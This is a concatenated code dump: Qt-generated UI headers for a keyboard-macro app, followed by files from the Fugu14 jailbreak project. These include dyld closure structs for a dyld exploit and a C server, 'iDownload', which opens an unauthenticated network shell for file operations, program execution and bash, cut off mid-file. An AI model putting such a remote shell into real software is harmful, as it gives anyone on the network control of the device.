#ifndef UI_ACTIONEDITOR_H
#define UI_ACTIONEDITOR_H
#include <QtCore/QVariant>
#include <QtGui/QIcon>
#include <QtWidgets/QApplication>
#include <QtWidgets/QCheckBox>
#include <QtWidgets/QComboBox>
#include <QtWidgets/QLabel>
#include <QtWidgets/QLineEdit>
#include <QtWidgets/QListWidget>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_ActionEditor
{
public:
QLabel *actionIDLabel;
QLabel *actionTypeLabel;
QComboBox *actionTypeBox;
QLabel *pathToProgramLabel;
QLabel *areKeysHeldLabel;
QCheckBox *areKeysHeldBox;
QListWidget *keysToPressBox;
QLabel *keysToPressLabel;
QPushButton *addKeyButton;
QPushButton *deleteKeyButton;
QLineEdit *actionNameText;
QLineEdit *programPathBox;
QPushButton *saveButton;
QPushButton *chooseFileButton;
void setupUi(QWidget *ActionEditor)
{
if (ActionEditor->objectName().isEmpty())
ActionEditor->setObjectName(QString::fromUtf8("ActionEditor"));
ActionEditor->resize(400, 300);
QIcon icon;
icon.addFile(QString::fromUtf8(":/MacroApp/logo.png"), QSize(), QIcon::Normal, QIcon::Off);
ActionEditor->setWindowIcon(icon);
actionIDLabel = new QLabel(ActionEditor);
actionIDLabel->setObjectName(QString::fromUtf8("actionIDLabel"));
actionIDLabel->setGeometry(QRect(10, 18, 81, 21));
actionTypeLabel = new QLabel(ActionEditor);
actionTypeLabel->setObjectName(QString::fromUtf8("actionTypeLabel"));
actionTypeLabel->setGeometry(QRect(10, 48, 71, 21));
actionTypeBox = new QComboBox(ActionEditor);
actionTypeBox->addItem(QString());
actionTypeBox->addItem(QString());
actionTypeBox->addItem(QString());
actionTypeBox->setObjectName(QString::fromUtf8("actionTypeBox"));
actionTypeBox->setGeometry(QRect(110, 48, 271, 21));
pathToProgramLabel = new QLabel(ActionEditor);
pathToProgramLabel->setObjectName(QString::fromUtf8("pathToProgramLabel"));
pathToProgramLabel->setGeometry(QRect(10, 78, 101, 21));
areKeysHeldLabel = new QLabel(ActionEditor);
areKeysHeldLabel->setObjectName(QString::fromUtf8("areKeysHeldLabel"));
areKeysHeldLabel->setGeometry(QRect(10, 108, 91, 21));
areKeysHeldBox = new QCheckBox(ActionEditor);
areKeysHeldBox->setObjectName(QString::fromUtf8("areKeysHeldBox"));
areKeysHeldBox->setGeometry(QRect(110, 108, 16, 20));
keysToPressBox = new QListWidget(ActionEditor);
keysToPressBox->setObjectName(QString::fromUtf8("keysToPressBox"));
keysToPressBox->setGeometry(QRect(10, 160, 291, 101));
keysToPressBox->setProperty("isWrapping", QVariant(false));
keysToPressBox->setWordWrap(true);
keysToPressLabel = new QLabel(ActionEditor);
keysToPressLabel->setObjectName(QString::fromUtf8("keysToPressLabel"));
keysToPressLabel->setGeometry(QRect(115, 137, 81, 21));
addKeyButton = new QPushButton(ActionEditor);
addKeyButton->setObjectName(QString::fromUtf8("addKeyButton"));
addKeyButton->setGeometry(QRect(310, 180, 75, 24));
deleteKeyButton = new QPushButton(ActionEditor);
deleteKeyButton->setObjectName(QString::fromUtf8("deleteKeyButton"));
deleteKeyButton->setGeometry(QRect(310, 210, 75, 24));
actionNameText = new QLineEdit(ActionEditor);
actionNameText->setObjectName(QString::fromUtf8("actionNameText"));
actionNameText->setGeometry(QRect(110, 20, 271, 22));
programPathBox = new QLineEdit(ActionEditor);
programPathBox->setObjectName(QString::fromUtf8("programPathBox"));
programPathBox->setGeometry(QRect(110, 78, 191, 21));
saveButton = new QPushButton(ActionEditor);
saveButton->setObjectName(QString::fromUtf8("saveButton"));
saveButton->setGeometry(QRect(165, 270, 70, 24));
chooseFileButton = new QPushButton(ActionEditor);
chooseFileButton->setObjectName(QString::fromUtf8("chooseFileButton"));
chooseFileButton->setGeometry(QRect(310, 78, 71, 24));
retranslateUi(ActionEditor);
QMetaObject::connectSlotsByName(ActionEditor);
} // setupUi
void retranslateUi(QWidget *ActionEditor)
{
ActionEditor->setWindowTitle(QCoreApplication::translate("ActionEditor", "Action Editor", nullptr));
actionIDLabel->setText(QCoreApplication::translate("ActionEditor", "Action Name:", nullptr));
actionTypeLabel->setText(QCoreApplication::translate("ActionEditor", "Action Type:", nullptr));
actionTypeBox->setItemText(0, QCoreApplication::translate("ActionEditor", "Fake Keypresses", nullptr));
actionTypeBox->setItemText(1, QCoreApplication::translate("ActionEditor", "Open Program", nullptr));
actionTypeBox->setItemText(2, QCoreApplication::translate("ActionEditor", "No Action", nullptr));
pathToProgramLabel->setText(QCoreApplication::translate("ActionEditor", "Path To Program:", nullptr));
areKeysHeldLabel->setText(QCoreApplication::translate("ActionEditor", "Are Keys Held:", nullptr));
areKeysHeldBox->setText(QString());
keysToPressLabel->setText(QCoreApplication::translate("ActionEditor", "Keys to Press", nullptr));
addKeyButton->setText(QCoreApplication::translate("ActionEditor", "Add Key", nullptr));
deleteKeyButton->setText(QCoreApplication::translate("ActionEditor", "Delete Key", nullptr));
saveButton->setText(QCoreApplication::translate("ActionEditor", "SAVE", nullptr));
chooseFileButton->setText(QCoreApplication::translate("ActionEditor", "Choose File", nullptr));
} // retranslateUi
};
namespace Ui {
class ActionEditor: public Ui_ActionEditor {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_ACTIONEDITOR_H
|
MalTheLegend104/Breakfast-Macros
|
Macros/Application/x64/Release/uic/ui_Settings.h
|
<filename>Macros/Application/x64/Release/uic/ui_Settings.h
/********************************************************************************
** Form generated from reading UI file 'Settings.ui'
**
** Created by: Qt User Interface Compiler version 6.2.2
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_SETTINGS_H
#define UI_SETTINGS_H
#include <QtCore/QVariant>
#include <QtGui/QIcon>
#include <QtWidgets/QApplication>
#include <QtWidgets/QCheckBox>
#include <QtWidgets/QLabel>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_Settings
{
public:
QLabel *settingsLabel;
QLabel *currentID;
QLabel *openOnStartupLabel;
QCheckBox *openOnStartupBox;
QLabel *darkModeLabel;
QCheckBox *darkModeBox;
QLabel *versionLabel;
QLabel *minimizeToTrayLabel;
QCheckBox *minimizeToTrayBox;
QLabel *minimizeOnStartLabel;
QCheckBox *minimizeOnStartBox;
QCheckBox *debugModeBox;
QPushButton *registerDeviceButton;
QCheckBox *typeNonMacroKeys;
QPushButton *resetDeviceIDButton;
QLabel *currentKeyToAppendLabel;
QPushButton *changeAppendedKeyButton;
QPushButton *clearAppendedKeyButton;
QCheckBox *soundboardModeBox;
void setupUi(QWidget *Settings)
{
if (Settings->objectName().isEmpty())
Settings->setObjectName(QString::fromUtf8("Settings"));
Settings->resize(400, 200);
QPalette palette;
QBrush brush(QColor(0, 120, 215, 255));
brush.setStyle(Qt::SolidPattern);
palette.setBrush(QPalette::Active, QPalette::Highlight, brush);
QBrush brush1(QColor(240, 240, 240, 255));
brush1.setStyle(Qt::SolidPattern);
palette.setBrush(QPalette::Inactive, QPalette::Highlight, brush1);
palette.setBrush(QPalette::Disabled, QPalette::Highlight, brush);
Settings->setPalette(palette);
Settings->setMouseTracking(true);
QIcon icon;
icon.addFile(QString::fromUtf8(":/MacroApp/logo.png"), QSize(), QIcon::Normal, QIcon::Off);
Settings->setWindowIcon(icon);
settingsLabel = new QLabel(Settings);
settingsLabel->setObjectName(QString::fromUtf8("settingsLabel"));
settingsLabel->setGeometry(QRect(151, 0, 111, 41));
QFont font;
font.setPointSize(18);
font.setBold(true);
settingsLabel->setFont(font);
currentID = new QLabel(Settings);
currentID->setObjectName(QString::fromUtf8("currentID"));
currentID->setGeometry(QRect(10, 50, 221, 20));
QFont font1;
font1.setPointSize(11);
currentID->setFont(font1);
openOnStartupLabel = new QLabel(Settings);
openOnStartupLabel->setObjectName(QString::fromUtf8("openOnStartupLabel"));
openOnStartupLabel->setGeometry(QRect(10, 75, 131, 20));
openOnStartupLabel->setFont(font1);
openOnStartupBox = new QCheckBox(Settings);
openOnStartupBox->setObjectName(QString::fromUtf8("openOnStartupBox"));
openOnStartupBox->setGeometry(QRect(140, 75, 31, 21));
darkModeLabel = new QLabel(Settings);
darkModeLabel->setObjectName(QString::fromUtf8("darkModeLabel"));
darkModeLabel->setGeometry(QRect(10, 150, 131, 20));
darkModeLabel->setFont(font1);
darkModeBox = new QCheckBox(Settings);
darkModeBox->setObjectName(QString::fromUtf8("darkModeBox"));
darkModeBox->setGeometry(QRect(140, 150, 21, 21));
versionLabel = new QLabel(Settings);
versionLabel->setObjectName(QString::fromUtf8("versionLabel"));
versionLabel->setGeometry(QRect(10, 175, 381, 16));
minimizeToTrayLabel = new QLabel(Settings);
minimizeToTrayLabel->setObjectName(QString::fromUtf8("minimizeToTrayLabel"));
minimizeToTrayLabel->setGeometry(QRect(10, 100, 131, 20));
minimizeToTrayLabel->setFont(font1);
minimizeToTrayBox = new QCheckBox(Settings);
minimizeToTrayBox->setObjectName(QString::fromUtf8("minimizeToTrayBox"));
minimizeToTrayBox->setGeometry(QRect(140, 98, 31, 21));
minimizeOnStartLabel = new QLabel(Settings);
minimizeOnStartLabel->setObjectName(QString::fromUtf8("minimizeOnStartLabel"));
minimizeOnStartLabel->setGeometry(QRect(10, 125, 141, 20));
minimizeOnStartLabel->setFont(font1);
minimizeOnStartBox = new QCheckBox(Settings);
minimizeOnStartBox->setObjectName(QString::fromUtf8("minimizeOnStartBox"));
minimizeOnStartBox->setGeometry(QRect(140, 125, 31, 20));
debugModeBox = new QCheckBox(Settings);
debugModeBox->setObjectName(QString::fromUtf8("debugModeBox"));
debugModeBox->setGeometry(QRect(140, 174, 111, 21));
QFont font2;
font2.setPointSize(9);
debugModeBox->setFont(font2);
registerDeviceButton = new QPushButton(Settings);
registerDeviceButton->setObjectName(QString::fromUtf8("registerDeviceButton"));
registerDeviceButton->setGeometry(QRect(170, 46, 101, 25));
typeNonMacroKeys = new QCheckBox(Settings);
typeNonMacroKeys->setObjectName(QString::fromUtf8("typeNonMacroKeys"));
typeNonMacroKeys->setGeometry(QRect(170, 75, 151, 21));
resetDeviceIDButton = new QPushButton(Settings);
resetDeviceIDButton->setObjectName(QString::fromUtf8("resetDeviceIDButton"));
resetDeviceIDButton->setGeometry(QRect(280, 46, 111, 24));
currentKeyToAppendLabel = new QLabel(Settings);
currentKeyToAppendLabel->setObjectName(QString::fromUtf8("currentKeyToAppendLabel"));
currentKeyToAppendLabel->setGeometry(QRect(170, 125, 231, 21));
changeAppendedKeyButton = new QPushButton(Settings);
changeAppendedKeyButton->setObjectName(QString::fromUtf8("changeAppendedKeyButton"));
changeAppendedKeyButton->setGeometry(QRect(170, 150, 101, 24));
clearAppendedKeyButton = new QPushButton(Settings);
clearAppendedKeyButton->setObjectName(QString::fromUtf8("clearAppendedKeyButton"));
clearAppendedKeyButton->setGeometry(QRect(280, 150, 111, 24));
soundboardModeBox = new QCheckBox(Settings);
soundboardModeBox->setObjectName(QString::fromUtf8("soundboardModeBox"));
soundboardModeBox->setGeometry(QRect(170, 95, 123, 20));
retranslateUi(Settings);
QMetaObject::connectSlotsByName(Settings);
} // setupUi
void retranslateUi(QWidget *Settings)
{
Settings->setWindowTitle(QCoreApplication::translate("Settings", "Settings", nullptr));
settingsLabel->setText(QCoreApplication::translate("Settings", "Settings", nullptr));
currentID->setText(QCoreApplication::translate("Settings", "Current Device ID: -1", nullptr));
openOnStartupLabel->setText(QCoreApplication::translate("Settings", "Open On Startup:", nullptr));
openOnStartupBox->setText(QString());
darkModeLabel->setText(QCoreApplication::translate("Settings", "Dark Mode: ", nullptr));
darkModeBox->setText(QString());
versionLabel->setText(QCoreApplication::translate("Settings", "Version: Alpha1", nullptr));
minimizeToTrayLabel->setText(QCoreApplication::translate("Settings", "Minimize To Tray:", nullptr));
minimizeToTrayBox->setText(QString());
minimizeOnStartLabel->setText(QCoreApplication::translate("Settings", "Minimize On Start:", nullptr));
minimizeOnStartBox->setText(QString());
debugModeBox->setText(QCoreApplication::translate("Settings", "Debug Mode", nullptr));
registerDeviceButton->setText(QCoreApplication::translate("Settings", "Register Device", nullptr));
typeNonMacroKeys->setText(QCoreApplication::translate("Settings", "Type Non Macro Keys", nullptr));
resetDeviceIDButton->setText(QCoreApplication::translate("Settings", "Reset Device ID", nullptr));
currentKeyToAppendLabel->setText(QCoreApplication::translate("Settings", "Current Key to Append: NONE", nullptr));
changeAppendedKeyButton->setText(QCoreApplication::translate("Settings", "Change Key", nullptr));
clearAppendedKeyButton->setText(QCoreApplication::translate("Settings", "Clear Key", nullptr));
soundboardModeBox->setText(QCoreApplication::translate("Settings", "Soundboard Mode", nullptr));
} // retranslateUi
};
namespace Ui {
class Settings: public Ui_Settings {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_SETTINGS_H
|
MalTheLegend104/Breakfast-Macros
|
Macros/Application/x64/Release/uic/ui_DeviceUI.h
|
<gh_stars>1-10
/********************************************************************************
** Form generated from reading UI file 'DeviceUI.ui'
**
** Created by: Qt User Interface Compiler version 6.2.2
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_DEVICEUI_H
#define UI_DEVICEUI_H
#include <QtCore/QVariant>
#include <QtGui/QIcon>
#include <QtWidgets/QApplication>
#include <QtWidgets/QLabel>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_DeviceUI
{
public:
QLabel *label;
void setupUi(QWidget *DeviceUI)
{
if (DeviceUI->objectName().isEmpty())
DeviceUI->setObjectName(QString::fromUtf8("DeviceUI"));
DeviceUI->resize(200, 116);
QIcon icon;
icon.addFile(QString::fromUtf8(":/MacroApp/logo.png"), QSize(), QIcon::Normal, QIcon::Off);
DeviceUI->setWindowIcon(icon);
label = new QLabel(DeviceUI);
label->setObjectName(QString::fromUtf8("label"));
label->setGeometry(QRect(10, 40, 180, 41));
label->setTextFormat(Qt::RichText);
label->setAlignment(Qt::AlignCenter);
label->setWordWrap(true);
retranslateUi(DeviceUI);
QMetaObject::connectSlotsByName(DeviceUI);
} // setupUi
void retranslateUi(QWidget *DeviceUI)
{
DeviceUI->setWindowTitle(QString());
label->setText(QCoreApplication::translate("DeviceUI", "Press any key on the keyboard you want intercepted...", nullptr));
} // retranslateUi
};
namespace Ui {
class DeviceUI: public Ui_DeviceUI {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_DEVICEUI_H
|
MalTheLegend104/Breakfast-Macros
|
Macros/Application/x64/Release/uic/ui_AddMacroUI.h
|
/********************************************************************************
** Form generated from reading UI file 'AddMacroUI.ui'
**
** Created by: Qt User Interface Compiler version 6.2.2
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_ADDMACROUI_H
#define UI_ADDMACROUI_H
#include <QtCore/QVariant>
#include <QtGui/QIcon>
#include <QtWidgets/QApplication>
#include <QtWidgets/QLabel>
#include <QtWidgets/QLineEdit>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_AddMacroUI
{
public:
QPushButton *yesButton;
QPushButton *noButton;
QLabel *enterNameLabel;
QLineEdit *nameInputBox;
void setupUi(QWidget *AddMacroUI)
{
if (AddMacroUI->objectName().isEmpty())
AddMacroUI->setObjectName(QString::fromUtf8("AddMacroUI"));
AddMacroUI->resize(250, 100);
QIcon icon;
icon.addFile(QString::fromUtf8(":/MacroApp/logo.png"), QSize(), QIcon::Normal, QIcon::Off);
AddMacroUI->setWindowIcon(icon);
yesButton = new QPushButton(AddMacroUI);
yesButton->setObjectName(QString::fromUtf8("yesButton"));
yesButton->setGeometry(QRect(20, 70, 71, 24));
noButton = new QPushButton(AddMacroUI);
noButton->setObjectName(QString::fromUtf8("noButton"));
noButton->setGeometry(QRect(160, 70, 71, 24));
enterNameLabel = new QLabel(AddMacroUI);
enterNameLabel->setObjectName(QString::fromUtf8("enterNameLabel"));
enterNameLabel->setGeometry(QRect(40, 10, 170, 16));
nameInputBox = new QLineEdit(AddMacroUI);
nameInputBox->setObjectName(QString::fromUtf8("nameInputBox"));
nameInputBox->setGeometry(QRect(10, 30, 231, 31));
retranslateUi(AddMacroUI);
QMetaObject::connectSlotsByName(AddMacroUI);
} // setupUi
void retranslateUi(QWidget *AddMacroUI)
{
AddMacroUI->setWindowTitle(QCoreApplication::translate("AddMacroUI", "New Macro", nullptr));
yesButton->setText(QCoreApplication::translate("AddMacroUI", "yes?", nullptr));
noButton->setText(QCoreApplication::translate("AddMacroUI", "NOPE", nullptr));
enterNameLabel->setText(QCoreApplication::translate("AddMacroUI", " Enter a name for the macro", nullptr));
} // retranslateUi
};
namespace Ui {
class AddMacroUI: public Ui_AddMacroUI {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_ADDMACROUI_H
|
obenchekroun/Fugu14
|
x86_64/dyldExploitMacOS_x86_64/dyldExploitMacOS_x86_64/dyld.h
|
<reponame>obenchekroun/Fugu14
//
// dyld.h
// dyldExploitMacOS_x86_64
//
// Created by <NAME>.
// Copyright © 2021 <NAME>. All rights reserved.
//
/* The definitions below were taken from dyld-750.6 */
/* License: Apple Public Source License */
/*
* Copyright (c) 2017 Apple Inc. All rights reserved.
*
* @APPLE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this
* file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_LICENSE_HEADER_END@
*/
#ifndef dyld_h
#define dyld_h
#include <stdint.h>
enum Type: uint32_t {
// containers which have an overall length and TypedBytes inside their content
launchClosure = 1, // contains TypedBytes of closure attributes including imageArray
imageArray = 2, // sizeof(ImageArray) + sizeof(uint32_t)*count + size of all images
image = 3, // contains TypedBytes of image attributes
dlopenClosure = 4, // contains TypedBytes of closure attributes including imageArray
// attributes for Images
imageFlags = 7, // sizeof(Image::Flags)
pathWithHash = 8, // len = uint32_t + length path + 1, use multiple entries for aliases
fileInodeAndTime = 9, // sizeof(FileInfo)
cdHash = 10, // 20, use multiple entries on watchOS for all hashes
uuid = 11, // 16
mappingInfo = 12, // sizeof(MappingInfo)
diskSegment = 13, // sizeof(DiskSegment) * count
cacheSegment = 14, // sizeof(DyldCacheSegment) * count
dependents = 15, // sizeof(LinkedImage) * count
initOffsets = 16, // sizeof(uint32_t) * count
dofOffsets = 17, // sizeof(uint32_t) * count
codeSignLoc = 18, // sizeof(CodeSignatureLocation)
fairPlayLoc = 19, // sizeof(FairPlayRange)
rebaseFixups = 20, // sizeof(RebasePattern) * count
bindFixups = 21, // sizeof(BindPattern) * count
cachePatchInfo = 22, // deprecated
textFixups = 23, // sizeof(TextFixupPattern) * count
imageOverride = 24, // sizeof(ImageNum)
initBefores = 25, // sizeof(ImageNum) * count
initsSection = 26, // sizeof(InitializerSectionRange)
chainedFixupsTargets = 27, // sizeof(ResolvedSymbolTarget) * count
termOffsets = 28, // sizeof(uint32_t) * count
chainedStartsOffset = 29, // sizeof(uint64_t)
objcFixups = 30, // sizeof(ResolvedSymbolTarget) + (sizeof(uint32_t) * 2) + (sizeof(ProtocolISAFixup) * count) + (sizeof(SelectorReferenceFixup) * count)
// attributes for Closures (launch or dlopen)
closureFlags = 32, // sizeof(Closure::Flags)
dyldCacheUUID = 33, // 16
missingFiles = 34,
envVar = 35, // "DYLD_BLAH=stuff"
topImage = 36, // sizeof(ImageNum)
libDyldEntry = 37, // sizeof(ResolvedSymbolTarget)
libSystemNum = 38, // sizeof(ImageNum)
bootUUID = 39, // c-string 40
mainEntry = 40, // sizeof(ResolvedSymbolTarget)
startEntry = 41, // sizeof(ResolvedSymbolTarget) // used by programs built with crt1.o
cacheOverrides = 42, // sizeof(PatchEntry) * count // used if process uses interposing or roots (cached dylib overrides)
interposeTuples = 43, // sizeof(InterposingTuple) * count
existingFiles = 44, // uint64_t + (SkippedFiles * count)
selectorTable = 45, // uint32_t + (sizeof(ObjCSelectorImage) * count) + hashTable size
classTable = 46, // (3 * uint32_t) + (sizeof(ObjCClassImage) * count) + classHashTable size + protocolHashTable size
warning = 47, // len = uint32_t + length path + 1, use one entry per warning
duplicateClassesTable = 48, // duplicateClassesHashTable
progVars = 49, // sizeof(uint32_t)
};
typedef struct {
enum Type type : 8;
uint32_t payloadLength : 24;
} TypedBytes;
typedef struct {
uint32_t attrCount;
enum Type type : 8;
uint32_t payloadLength : 24;
TypedBytes attributes[];
} AnImage;
typedef struct {
enum Type type : 8;
uint32_t payloadLength : 24;
uint32_t firstImageNum;
uint32_t count : 31;
uint32_t hasRoots : 1; // True if this ImageArray contains roots with imageNum's below firstImageNum
AnImage images[];
} ImageArray;
enum Kinds { kindRebase, kindSharedCache, kindImage, kindAbsolute };
typedef struct {
uint64_t kind : 2, // kindRebase
unused : 62; // all zeros
} Rebase;
typedef struct {
uint64_t kind : 2; // kindSharedCache
int64_t offset : 62;
} SharedCache;
typedef struct {
uint64_t kind : 2, // kindImage
imageNum : 22; // ImageNum
int64_t offset : 40;
} Image;
typedef struct {
uint64_t kind : 2, // kindAbsolute
value : 62; // sign extended
} Absolute;
typedef union {
Rebase rebase;
SharedCache sharedCache;
Image image;
Absolute absolute;
uint64_t raw;
} ResolvedSymbolTarget;
static_assert(sizeof(ResolvedSymbolTarget) == 8, "Invalid size");
typedef struct {
ResolvedSymbolTarget target;
uint64_t startVmOffset : 40, // max 1TB offset
skipCount : 8,
repeatCount : 16;
} BindPattern;
typedef struct {
uint32_t imgNum : 30,
linkKind : 2;
} LinkedImage;
typedef struct {
uint64_t filePageCount : 30,
vmPageCount : 30,
permissions : 3,
paddingNotSeg : 1;
} DiskSegment;
#endif /* dyld_h */
|
obenchekroun/Fugu14
|
arm/iOS/jailbreakd/Sources/asmAndC/include/server.h
|
<gh_stars>100-1000
//
// server.h
// iDownload
//
// Created by <NAME> on 2020-02-09.
// Copyright © 2020/2021 <NAME>. All rights reserved.
//
#ifndef server_h
#define server_h
#define VERSION "1.2"
#define FILE_EXISTS(file) (access(file, F_OK ) != -1)
void launchCServer(void);
void update_springboard_plist(void);
#endif /* server_h */
|
obenchekroun/Fugu14
|
arm/shared/KernelExploit/Sources/IOKit_iOS/IOKit_iOS.h
|
//
// IOKit_iOS.h
// IOKit_iOS
//
// Created by <NAME>.
// Copyright © 2021 <NAME>. All rights reserved.
//
#ifndef externalCStuff_h
#define externalCStuff_h
#ifdef IOS_BUILD
#include "IOKit/IOKitLib.h"
#endif
#endif /* externalCStuff_h */
|
obenchekroun/Fugu14
|
arm/iOS/jailbreakd/Sources/asmAndC/server.c
|
<reponame>obenchekroun/Fugu14
//
// server.c
// iDownload
//
// Created by <NAME> on 2020-02-09.
// Copyright © 2020/2021 <NAME>. All rights reserved.
//
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <errno.h>
#include <unistd.h>
#include <dispatch/dispatch.h>
#include <limits.h>
#include <dirent.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include "server.h"
extern char **environ;
extern int init_libkrw_support(void);
int runCommand(FILE *f, char *argv[]) {
pid_t pid = fork();
if (pid == 0) {
dup2(fileno(f), STDIN_FILENO);
dup2(fileno(f), STDOUT_FILENO);
dup2(fileno(f), STDERR_FILENO);
execve(argv[0], argv, environ);
fprintf(stderr, "child: Failed to launch! Error: %s\r\n", strerror(errno));
exit(-1);
}
// Now wait for child
int status;
waitpid(pid, &status, 0);
return WEXITSTATUS(status);
}
bool readToNewline(FILE *f, char *buf, size_t size) {
size_t cmdOffset = 0;
memset(buf, 0, size);
while (1) {
// Read incoming data
size_t status = fread(buf + cmdOffset, 1, 1, f);
if (status < 1) {
return false;
}
cmdOffset++;
if (cmdOffset >= (size-1)) {
fprintf(f, "\r\nERROR: Command to long!\r\n");
cmdOffset = 0;
memset(buf, 0, size);
continue;
}
// Check if there is a newline somewhere
char *loc = strstr(buf, "\n");
if (!loc) {
continue;
}
// There is
if ((loc - 1) >= buf) {
if (*(loc - 1) == '\r') {
loc--;
}
}
*loc = 0;
return true;
}
}
char *getParameter(char *buf, int param) {
char *loc = buf;
for (int i = 0; i < param; i++) {
loc = strstr(loc, " ");
if (!loc) {
return NULL;
}
loc++; // Skip over the space
}
char *next = strstr(loc, " ");
if (!next) {
return strdup(loc);
}
*next = 0;
char *data = strdup(loc);
*next = ' ';
return data;
}
/*
* https://stackoverflow.com/questions/10323060/printing-file-permissions-like-ls-l-using-stat2-in-c
*/
void printInfo(FILE *f, char *file) {
struct stat fileStat;
if(lstat(file, &fileStat) < 0) {
fprintf(f, "info: %s\r\n", strerror(errno));
return;
}
fprintf(f, "---------------------------\r\n");
fprintf(f, "Information for %s\r\n", file);
fprintf(f, "---------------------------\r\n");
if (fileStat.st_size != 1) {
fprintf(f, "File Size: \t\t%lld bytes\r\n", fileStat.st_size);
} else {
fprintf(f, "File Size: \t\t1 byte\r\n");
}
//fprintf(f, "Number of Links: \t%d\r\n", fileStat.st_nlink);
//fprintf(f, "File inode: \t\t%llu\r\n", fileStat.st_ino);
fprintf(f, "File Permissions: \t");
fprintf(f, (S_ISDIR(fileStat.st_mode)) ? "d" : "-");
fprintf(f, (fileStat.st_mode & S_IRUSR) ? "r" : "-");
fprintf(f, (fileStat.st_mode & S_IWUSR) ? "w" : "-");
if (fileStat.st_mode & S_ISUID) {
fprintf(f, (fileStat.st_mode & S_IXUSR) ? "s" : "S");
} else {
fprintf(f, (fileStat.st_mode & S_IXUSR) ? "x" : "-");
}
fprintf(f, (fileStat.st_mode & S_IRGRP) ? "r" : "-");
fprintf(f, (fileStat.st_mode & S_IWGRP) ? "w" : "-");
if (fileStat.st_mode & S_ISGID) {
fprintf(f, (fileStat.st_mode & S_IXGRP) ? "s" : "S");
} else {
fprintf(f, (fileStat.st_mode & S_IXGRP) ? "x" : "-");
}
fprintf(f, (fileStat.st_mode & S_IROTH) ? "r" : "-");
fprintf(f, (fileStat.st_mode & S_IWOTH) ? "w" : "-");
fprintf(f, (fileStat.st_mode & S_IXOTH) ? "x" : "-");
fprintf(f, "\r\n");
fprintf(f, "File Owner UID: \t%d\r\n", fileStat.st_uid);
fprintf(f, "File Owner GID: \t%d\r\n", fileStat.st_gid);
if (S_ISLNK(fileStat.st_mode)) {
fprintf(f, "\r\n");
fprintf(f, "The file is a symbolic link.\r\n");
}
}
void printHelp(FILE *f) {
fprintf(f, "iDownload has a shell-like interface\r\n");
fprintf(f, "The following commands are supported:\r\n");
fprintf(f, "exit: Close connection\r\n");
fprintf(f, "exit_full: Close connection and terminate jailbreakd\r\n");
fprintf(f, "pwd: Print current working directory\r\n");
fprintf(f, "cd <directory>: Change directory\r\n");
fprintf(f, "ls <optional path>: List directory\r\n");
fprintf(f, "clear: Clear screen\r\n");
fprintf(f, "write <name> <size>: Create file with name and size\r\n");
fprintf(f, " Send file data afterwards\r\n");
fprintf(f, "cat <file>: Print contents of file\r\n");
fprintf(f, "rm <file>: Delete file\r\n");
fprintf(f, "rmdir <folder>: Delete an empty folder\r\n");
fprintf(f, "cp <src> <dst> Copy a file\r\n");
fprintf(f, "chmod <mode> <file>: Chmod a file. Mode must be octal\r\n");
fprintf(f, "chown <uid> <gid> <file>: Chown a file\r\n");
fprintf(f, "info <file>: Print file infos\r\n");
fprintf(f, "mkdir <name>: Create a directory\r\n");
fprintf(f, "exec <program> <args>: Launch a program\r\n");
fprintf(f, "bash: Launch bash\r\n");
fprintf(f, "help: Print this help\r\n");
fprintf(f, "\r\n");
}
void handleConnection(int socket) {
FILE *f = fdopen(socket, "r+b");
if (f == NULL) {
return;
}
fprintf(f, "iDownload version " VERSION " ready.\r\n");
char *cmdBuffer = malloc(2048);
while (1) {
fprintf(f, "iDownload> ");
// Read a command
if (!readToNewline(f, cmdBuffer, 2048)) {
break;
}
// Guaranteed to always exist
char *cmd = getParameter(cmdBuffer, 0);
// Execute it
if (strcmp(cmd, "help") == 0) {
printHelp(f);
} else if (strcmp(cmd, "exit") == 0) {
fprintf(f, "Bye!\r\n");
break;
} else if (strcmp(cmd, "exit_full") == 0) {
fprintf(f, "Completely exiting.\r\nBye!\r\n");
exit(0);
} else if (strcmp(cmd, "pwd") == 0) {
char cwd[PATH_MAX];
memset(cwd, 0, PATH_MAX);
getcwd(cwd, PATH_MAX);
fprintf(f, "%s\r\n", cwd);
} else if (strcmp(cmd, "cd") == 0) {
char *param = getParameter(cmdBuffer, 1);
if (param) {
if (chdir(param) < 0) {
fprintf(f, "cd: %s\r\n", strerror(errno));
}
free(param);
} else {
fprintf(f, "Usage: cd <directory>\r\n");
}
} else if (strcmp(cmd, "ls") == 0) {
char *param = getParameter(cmdBuffer, 1);
if (!param) {
param = strdup(".");
}
DIR *d;
struct dirent *dir;
d = opendir(param);
if (d) {
readdir(d); // Skip .
readdir(d); // Skip ..
while ((dir = readdir(d)) != NULL) {
fprintf(f, "%s\r\n", dir->d_name);
}
closedir(d);
} else {
fprintf(f, "ls: %s\r\n", strerror(errno));
}
free(param);
} else if (strcmp(cmd, "clear") == 0) {
fprintf(f, "\E[H\E[J");
} else if (strcmp(cmd, "write") == 0) {
